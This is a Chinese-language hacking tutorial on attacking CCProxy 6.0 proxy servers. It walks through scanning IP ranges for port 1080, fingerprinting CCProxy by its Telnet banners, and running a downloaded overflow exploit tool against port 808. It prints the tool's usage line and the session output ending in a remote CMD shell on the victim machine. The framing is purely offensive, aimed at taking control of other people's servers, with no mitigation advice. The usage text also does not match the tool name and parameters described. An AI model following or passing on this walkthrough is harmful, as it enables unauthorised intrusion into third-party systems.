一、代理软件漏洞
CCProxy因其设置简单和使用方便等特点,成为国内最受欢迎的代理服务器软件。它不但支持常见的HTTP和SOCKS代理,而且还支持FTP和Telnet这类不常用的代理。它还可以控制用户代理上网的权限,设置访问代理服务器的用户名和密码,功能非常强大。
这款优秀的代理软件最近爆出一个溢出漏洞,攻击者可以通过该漏洞直接获得代理服务器的控制权。该漏洞涉及的CCProxy版本为目前非常普及的6.0版,以及这之前的所有版本。
软件资料
软件名称:CCProxy
软件版本:6.0
授权方式:共享软件
软件大小:820KB
下载地址:http://www2.skycn.com/soft/1058.html
二、探测CCProxy代理服务器
要利用上述漏洞控制代理服务器,当然得先确定目标代理服务器是否安装的是CCProxy (图1)。
图1CCProxy支持多种协议代理
因为所有代理服务器软件的SOCKS代理服务端口默认都是“1080”,所以我们可以通过它来查找代理服务器,进而确认服务器是否安装CCProxy。经过测试,发现如下探测方法比较实用可靠。
1.扫描
利用端口扫描器Superscan扫描指定网段中是否有开放了“1080”端口的主机。打开Superscan,先在“all ports from”一栏中设置扫描的端口范围为“1080~1080”,再在目标IP范围内填写需要扫描的IP地址段。单击“Start”按钮进行扫描,很快就会发现扫描的IP地址段中所有开放了“1080”端口的主机(图2)。下面挑选一台主机来确认一下它是否安装了CCProxy的代理服务器。
图2开放指定端口的主机都以绿色小钩标记
2.探测
CCProxy在默认安装情况下,会将“23”作为Telnet服务的代理端口,“2121”做为FTP服务的代理端口。我们只需要在这些端口上进行信息探测,就可以发现目标主机是不是CCProxy代理服务器。
打开CMD命令行窗口,用Telnet连接目标主机,其命令格式为:
Telnet 目标IP 端口(如“Telnet 127.0.0.1 23”)
如果目标代理服务器是处于CCProxy的免密码状态(即未曾设置代理用户名和密码),那么就会出现Banner信息“CCProxy telnet server ready”;如果目标代理服务器是处于CCProxy的密码状态(即设置过代理用户名和密码),那么就会提示输入用户名(随便输入几个字符后会出现错误提示“User Invalid”)。这些信息都是CCProxy代理软件特有的提示信息,这样就可以很容易地确定目标代理服务器是否安装了CCProxy(图3)。
图3CCProxy的两种运行模式
三、攻击CCProxy代理服务器
利用上述方法确认目标为安装了CCProxy的代理服务器,那么下面就开始利用CCProxy的溢出攻击工具进行溢出。从网上下载回来的CCProxy的溢出攻击工具叫“ccpx.exe”。在CMD命令行中打开它,可以看到帮助命令:
Usage: ccproxyexp.exe [target_port]
这其中“target_ip”是指目标主机的IP地址,“target_port”是CCProxy的主端口,默认情况下是“808”。
根据参数输入攻击命令后提示:
本主机IP是否与目标主机IP在同一个网段?[y/n]y
[+] connecting to 127.0.0.1:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\winnt\system32
现在溢出成功,获得此代理服务器的控制权(图4)。
图4溢出成功拿到服务器控制权